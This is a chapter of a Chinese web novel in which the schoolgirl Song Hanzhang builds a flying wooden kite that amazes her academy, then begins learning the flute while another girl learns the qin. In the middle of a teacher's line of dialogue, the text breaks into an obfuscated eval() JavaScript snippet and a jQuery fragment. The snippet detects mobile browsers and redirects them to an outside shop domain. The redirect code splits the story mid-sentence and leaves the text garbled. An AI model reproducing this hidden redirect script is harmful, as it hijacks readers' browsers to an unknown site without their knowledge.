散学离开青山书院，回到宋府，宋含章便一头扎进自己的院子，将院门一关，外面的世界便与她无关了。
院子里散落着木屑、刨花和半成品的木头零件，墙角堆着几根从后山捡来的竹子，那是她留着备用的材料。
她蹲在院子中央，面前摆着那只已经反复拆装了不知多少遍的木鸢——翅膀的弧度还差一点，机括的灵敏度还不够，尾巴的平衡木也换了三根。
她拿起刨刀，对着阳光眯起一只眼，修整着木鸢翅膀上的最后一道弧线，木屑从她指间簌簌落下，落了一地细碎的金黄。
经过张木匠的指点和反复的改进、测试，那只木鸢终于在她手中成了型。她站起身，双手捧着木鸢，深吸一口气，用力按下木鸢身上的机括。
只听"咔"的一声轻响，木鸢的双翅应声展开，机括带动翅膀扇动起来，发出细微而清脆的齿轮咬合声。她松开手，那只木鸢便从她掌心腾空而起，扑扇着翅膀飞向了院子上方的天空。
春夏正端着茶从廊下走来，一抬头看见那只木鸢在空中盘旋，茶盘差点脱了手。她将茶盘往石桌上一搁，拍着双手跳了起来，仰着脖子追着那只木鸢的身影，拍着手高声喊道："飞起来了！飞起来了！我家姑娘天下无敌！"她的声音清脆而响亮，在暮色里传得很远，惊起了院外梧桐树上的几只麻雀。
宋含章站在院子中央，仰头看着自己的木鸢。她没有说话，只是嘴角慢慢翘了起来，那笑容在暮色里格外灿烂——这是她亲手做出来的东西，没有靠任何人，不需要任何人的认可，木头和竹子在她手里活了过来。
只是院里的风小了一些，木鸢飞得不快，扇动翅膀的节奏也变得迟缓。她在心里默默记下了这一点——下次，得让翅膀更轻一些，机括的力道更大一些。
第二日前去书院时，天刚蒙蒙亮。宋含章将木鸢小心翼翼地用布包好，悄悄藏进随身携带的布袋里，抱在怀里上了马车。
西院里，余老先生授完课，放下戒尺，起身去解决内急。他的脚步声刚消失在走廊尽头，学堂里的气氛立刻松了下来——有人趴到桌上补觉，有人便闹腾了起来。
宋含章趁机从布袋里拿出自己制作的木鸢，放在桌上。
阳光从窗棂透进来，照在木鸢上，那木鸢做工精巧——薄薄的木片被打磨得光滑如纸，翅膀的关节灵活自如，每一处榫卯都严丝合缝，连翅膀上的纹路都刻得一丝不苟。
顾子衿坐在她旁边，一眼便看到了这只精巧的木鸢。她放下手里的毛笔，眼睛亮了，凑过来问道："含章，这是什么？"
宋含章捧着木鸢，语气里带着几分藏不住的骄傲："是木鸢，我自己做的。还会飞呢。"
这话一出，整个学堂都安静了一瞬。霍凌霜、顾承泽、沈十安、曾思雨、钟荀彧、顾子佩纷纷回过头来，目光齐刷刷地落在宋含章手中那只木鸢上。有人好奇，有人怀疑，有人已经在心里准备好了嘲讽的词藻。
胸无点墨又高傲无比的曾思雨第一个开口。她歪着头，斜着眼睛把那木鸢上上下下打量了一遍，从鼻子里哼了一声，语气里满是不屑："就几片木片组合起来而已，又不是什么稀罕玩意儿。要是能飞上天，我叫你一声姑奶奶。"
顾承泽和顾子佩也七嘴八舌地附和，一个说"宋含章又在吹牛了"，另一个说"你打架厉害我们认，做东西嘛——还是算了吧"。
学堂里响起了一阵低低的笑声，那些平日里被宋含章揍过的孩子终于找到了一个可以反击的机会，虽然不敢说得太大声，但挤眉弄眼的表情已经说明了一切。
霍凌霜却出奇地安静。她盯着那只木鸢看了许久，没有加入嘲讽的队伍。她在北疆军营中听军师说起过墨家的机关术——那些能在战场上投石攻城的器械，那些能载人飞行的木鸟，都是从墨家的巧思中诞生出来的。军师曾给她看过一本残破的《墨子》抄本，里面画着各种机关的图样，其中就有木鸢。她看着宋含章手里这只精巧的玩意，心里暗暗吃了一惊——难道宋含章真的把书上的东西做出来了？
宋含章没有说话。她没有辩解，没有发火，也没有拎起曾思雨扔到树上。她只是拿起木鸢，转身走出学堂。
阳光照在她宽厚的背影上，她的步伐笃定而从容。来到院子中央，她低头看了一眼手中的木鸢，手指按下了机括——"咔"的一声，木鸢的双翅应声展开，齿轮开始转动，翅膀有力地扇动起来，比昨天更加轻快流畅。
她松开手，那只木鸢便真的乘风而起，扑扇着翅膀飞向了空中。
在场的所有人都惊呆了。曾思雨的嘴张成了一个圆，半天合不拢，那句"姑奶奶"卡在喉咙里怎么也吐不出来。
顾承泽和顾子佩面面相觑，脸上火辣辣的，像是被人当众打了一巴掌。霍凌霜的眼睛死死追着那只木鸢，嘴唇抿成了一条线，目光里既有惊叹也有不甘。
顾子衿也惊讶不已。
钟荀彧和沈十安那不屑的表情，也立马转为了震惊。
就连解决完内急回来的余老先生，刚走到廊下，一抬头便看见了空中那只盘旋的木鸢，也看得呆住了——他下意识地伸手扶住了廊柱，仿佛需要什么东西来支撑自己。
那只木鸢在西院上空飞了几圈，越飞越高，翅膀在春光里闪着木纹的光泽。随后，它像是长了眼睛一般，越过西院的墙头，朝着东院的方向飞去。
东院的学堂里，除了洪楚离，其他学子都在认真听王修安讲课。王修安正讲解《礼记》中的一段，声音清润，字字分明。洪楚离虽然端正地坐在位子上，可心思早就不在书上了。
他坐在靠窗的位置，眼睛不时地瞥向窗外——春日暖阳，鸟鸣婉转，一只蝴蝶刚从他眼前翩翩飞过，他的目光便跟着那只蝴蝶在院子里转了一圈。就在这时，那只木鸢也映入了他的眼帘。它扇动着翅膀，在阳光下投下一道小小的影子，那影子掠过地面，不像是鸟的影子——鸟的影子是柔软的，而这个影子的翅膀却带着一种机械的节奏感。
洪楚离瞪大了眼睛，看着那个在空中飞行的小东西。他揉了揉眼睛，定睛一看——确实不是鸟。鸟的翅膀是柔软的，飞起来带着弧度；这个东西的翅膀是木头的，扇动的节奏均匀而机械。
那一刻，他的好奇心像被点燃的火药，轰的一声炸开了。他顾不上王修安正在授课，径直站起来，推开椅子，大步走出学堂，仰头去追那一只飞行的木鸢。
王修安停下讲解，眉头微蹙，手中的朱笔悬在半空。其他的学子也纷纷抬起头，目光循着洪楚离的背影而去，然后——他们也看到了。那只木鸢正在东院上空盘旋，翅膀在阳光下闪着木纹的光泽，像一只从古书里飞出来的神鸟。
王修安放下朱笔，缓缓站起身，饱读各种典籍的他一眼便认出了那是什么——"木鸢。"他脱口而出，声音里带着难以置信。
随后他起身走出学堂，来到院中，仰头而望。学子们见状，纷纷起身，鱼贯而出。整个东院学堂，不过片刻便空无一人。
木鸢就在东院上空盘旋，不急不缓，一圈又一圈，像是故意要让所有人都看个明白。西院的稚童们和余老先生追着木鸢的身影，从西院一路小跑来到了东院，脚步声和惊呼声搅在一起，把书院午后的宁静搅得沸沸扬扬。
当东院的学子们听说这只木鸢是宋含章亲手制作的时候，所有的目光纷纷落在了这个壮如山的女孩身上。那些目光里，有惊讶，有不可思议，有刮目相看，也有几分说不清道不明的惭愧。
他们没想到，这个被全京城冷嘲热讽的人，这个沦为全京城茶余饭后谈资的人，这个在所有人心目中只会打架闹事的人——竟然能够制作出木鸢。这可是连许多能工巧匠都做不出来的东西。
宋行简和程国恩一度以为宋含章把自己关在院子里，只是闹着玩，没想到真的鼓捣出了木鸢。他们的视线在木鸢和宋含章之间移动。
王修安看了看宋含章，又看了看木鸢，心里对宋含章赞叹不已。
宋含章站在人群中央，圆圆的脸被阳光照得发亮。她没有说话，只是仰头看着自己的木鸢在天上飞。
霍凌霜站在人群中，看着那只盘旋的木鸢，看着众人投向宋含章的目光，心里那股不服输的劲头又翻涌了上来。她不能输给宋含章。宋含章能做木鸢，那她也一定能做点什么。她在心里默默盘算着，要下什么战书才能压过宋含章一头。
风速渐渐减小，木鸢的速度也慢了下来。翅膀的扇动越来越迟缓，最后它像一片落叶般缓缓下降，落在了东院的青石板地面上。
余老先生上前几步，弯腰捡起木鸢，将它托在掌心里仔细端详。阳光透过木鸢的翅膀，在地面上投下细密的纹路。那木鸢做得活灵活现——鸟嘴微张，尾羽舒展，连脚爪都是比照着真鸟刻出来的。
他的指尖轻轻拨动木鸢的翅膀，感受到机括的精密咬合，浑浊的老眼里闪过一丝惊叹的光芒。众人纷纷围拢过来，踮着脚尖探着脑袋，看着余老先生手中这只精巧绝伦的木鸢，嘴里啧啧称奇，议论声此起彼伏。
——
西院学堂的偏房里，余老先生坐在书案前，花白的胡须在透窗而入的斜阳里泛着微光。他双手捧着那只木鸢翻来覆去地看了又看，然后抬起头，一双带着惊喜的眼睛看着眼前这个壮如小牛的女孩，问道："
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17618689|206141||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
这真是你自己做的？"
宋含章扬起下巴，双手抱在胸前，语气傲娇："那是当然。"
余老先生故意板起脸，把木鸢往桌上一放："我才不相信呢。你这丫头，打架是把好手，做东西——怕不是找哪个木匠帮你做的吧？"
宋含章听了，也不生气，也不辩解。她径直走到书案前，拿起笔墨，铺开一张宣纸，俯下身便开始画。她的手指虽然粗，握笔的姿势也不像那些练了多年书法的闺秀那般优雅，可她落笔却毫不迟疑。
片刻之间，木鸢的结构图便跃然纸上——从翅膀的榫卯到机括的齿轮，从尾羽的平衡木到腹部的传动轴，每一处都标注得清清楚楚，尺寸、材质、安装顺序，无一遗漏。
余老先生看着宣纸上那幅精致缜密的绘图，半晌没有说话。他拿起那张纸，凑近了细看，浑浊的眼睛里再次放出了一丝光芒。
那光芒里有惊喜，有欣慰，也有一种说不清道不明的惋惜——他在想，如果宋含章是一个男子，那该多好。若为男子，凭这份心思和巧手，将来必能在工部或军器监大展宏图，甚至能成为一代名匠。可她偏偏是个女娃，一个连婚事都被人拿来当笑话讲的女娃。这世道，对女子太窄，窄得容不下一个会做木鸢的灵魂。
宋含章见先生一直盯着自己的绘图不说话，也不在意。她向来不在乎别人怎么看她——夸也好，骂也好，她都是那个宋含章。她的目光开始扫视先生的书房。
这间偏房不大，四壁都是书架，书架上塞满了泛黄的典籍和手抄本，空气里弥漫着一股旧书和墨汁混合的气味。突然，她的目光被书架角落里一把落满灰尘的箫给吸引住了。那是一管竹箫，颜色已经泛黄，尾端系着一条褪了色的红穗子，静静地躺在那里，像是等了很多年。
她走过去，踮起脚尖，径直拿起那把箫，翻来覆去看了看，然后放在嘴边，用力吹了几声。那声音又短又哑，在安静的书房里格外刺耳。
余老先生被这声音从惋惜中拉了回来，抬起头看着眼前这个胖乎乎的女孩——她正皱着眉，盯着手里的箫。余老先生忽然笑了，那笑容里带着一种他教书几十年都不曾变过的东西——对每一个愿意学习的孩子的欢喜。
"想不想学？"他问。
宋含章转过头，看着余老先生，那双明亮的眼睛眨了眨，语气斩钉截铁："想。"
这一个"想"字，干脆利落，没有半点犹豫，传到余老先生耳里，像是有人在他沉寂了多年的心湖里投下了一颗石子。他二话不说，从书架上取下另一管备用的竹箫，用袖口擦了擦灰，便教起了宋含章吹箫。
他让她先学指法，再学吐气，一个孔一个孔地按，一个音一个音地吹。宋含章的手粗，按住那些细小的音孔颇为吃力，可她没有说一句泄气的话，只是皱着眉，一遍又一遍地调整手指的位置。
而此刻，在东院的偏房里，另一场教学也在进行。
王修安正在教顾子衿抚琴。这是顾承宇托付的事——他说妹妹喜欢抚琴，便请王修安抽空教一教，王修安也爽快地答应了下来。
顾子衿坐在琴案前，腰背挺直，小小的身板端正如松。她伸出纤细的手指，轻轻拨动琴弦，琴音从她指尖流出，虽然还带着初学者的生涩，却已经有了一丝韵味。
顾子衿极有灵性，聪慧过人，王修安讲解的技巧她一点就通。教她识谱，她过目不忘；教她指法，她触类旁通。弹得也十分认真，小脸上满是专注，仿佛整个世界都化作了指尖这七根琴弦。
王修安坐在一旁，看着这个十岁的女孩子，心里不由感叹——顾家的孩子，果真个个不凡。哥哥能在战场上以一当百，妹妹能在琴案前沉心静气。
他忽然又想起宋含章和霍凌霜吃蛇胆的事，再看看眼前这个文静乖巧的顾子衿，不禁摇头失笑——这青山书院的女孩子们，还真是一个比一个让人意外。
于是，从这一日起，每日日光开始西斜时，西院便会传出笨拙而执拗的箫声——那声音粗短断续，有时还会突然冒出一声刺耳的尖叫，惊得檐下的灰雀扑棱棱飞走，是宋含章在学吹箫。
她吹得不好听，却吹得极认真，每吹对一个音，眼睛就会亮一下，像是又打赢了一架。而东院则会传出清越成调的琴曲——那琴声悠扬婉转，虽还稚嫩，却已有了几分山水之意，是顾子衿在学抚琴。
两种截然不同的乐声，一东一西，在青山书院的暮色里交织。一个粗犷，一个清雅；一个笨拙，一个灵秀。可它们都同样认真，同样不折不挠。
箫声与琴声越过院墙，在书院上空相会，像是冥冥中某种命运的呼应，被晚风送出去很远很远。